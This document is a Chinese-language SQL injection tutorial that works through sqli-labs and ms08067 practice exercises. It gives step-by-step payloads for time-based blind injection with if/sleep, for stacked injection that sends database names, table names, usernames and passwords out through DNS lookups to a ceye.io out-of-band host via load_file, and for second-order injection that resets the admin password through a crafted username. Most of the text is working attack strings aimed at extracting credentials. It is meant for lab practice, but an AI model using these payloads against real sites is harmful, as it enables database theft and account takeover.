与布尔盲注不同的是,时间注入是利用sleep()或benchmark()等函数让MySQL的执行时间边长。时间盲注多与IF(expr1,expr2,expr3)结合使用,这条IF语句的含义是:“如果expr1是TRUE,那么IF()的返回值为expr2;否则返回值为expr3.”
所以判断数据库库名长度的语句为:
if(length(database())>1,sleep(10),1)
/*含义是:如果数据库库名长度大于1执行sleep(10)睡眠10秒,否则查询1。*/
第一步·判断数据库名长度
?id=1' and if(length(database())>7,sleep(2),1)--+
使用burp拦截数据包,当大于7时响应时间为3030millis,当大于7时响应时间为1026millis。
所以判断长度为8
第二步·爆破数据库名
payload:
?id=1' and if(substr(database(),1,1)='s',sleep(2),1)--+
可以尝试二分法进行判断,也可以使用burp进行爆破,但是响应时间应该随之改变。
第三步·爆破表名
Payload:
?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a',sleep(2),1)--+
得到表:emails、referers、uagents、users
第四步·爆破字段
Payload:
?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(2),1)--+
Payload:
?id=1' and if(substr((select username from security.users limit 0,1),1,1)='d',sleep(2),1)--+
?id=1' and if(substr((select password from security.users limit 0,1),1,1)='d',sleep(2),1)--+
堆叠注入攻击是将两条语句使用“;”进行合并一起执行。和union不同的是,union用来执行查询语句,而堆叠注入可以执行任意的语句。
但是堆叠注入的缺点是,第二条语句无论执行成功或失败都不会有回显。所以如果想使用堆叠注入来查询数据,则需要联合其他攻击方法进行攻击。例如:
Less-38
第一步·查询数据库名
payload:
?id=1'; select load_file(concat('///',(select database()),'url//123.txt'))--+
url处更换成自己的测试网站。
第二步·查询表名
payload:
?id=1'; select load_file(concat('///',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'.xxx.ceye.io//123.txt'))--+
Payload:
?id=1';select load_file(concat('///',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),'.xxx.ceye.io//123.txt'))--+
Payload:
?id=1';select load_file(concat('///',(select username from security.users limit 0,1),'.xxx.ceye.io///123.txt'))--+
原理分析:
第一次注入时,将注入攻击及代码写入,接下来引用第一次所写入的数据触发代码进行攻击。
靶场练习1:
sqli-labs less-24
创建新用户
“admin'%23#”
登录新用户,更改密码为1234
之后重新登录admin用户。
发现admin用户密码已经更改成功。此时运行的语句如下
UPDATE users SET passwd="New_Pass" WHERE username ='admin'#' AND password='xxx
原因是由于我们注册的用户名为“admin'%23#”#号后面的语句会被注释掉,所以会导致admin用户的密码被更改。
靶场练习2:
ms08067 二次注入
doubel1.php从源码看是进行注册用户的页面
注册“test'”用户
返回新的id:6
在doubel2.php页面测试
返回报错
返回页面doubel1.php
注册用户“test' order by 1--+”来判断存在几列
得知有3列数据
判断显示位
“test' union select 1,2,3--+”
显示为是2,3
使用Payload:test' union select 1,database(),user()--+
得知当前数据库为test,用户为root
查询表名
test' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test'--+
查询users表中的列名
test' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
查询字段
test' union select 1,username,password from test.users where id='2'--+
得到用户名与密码
密码为md5加密
尝试解密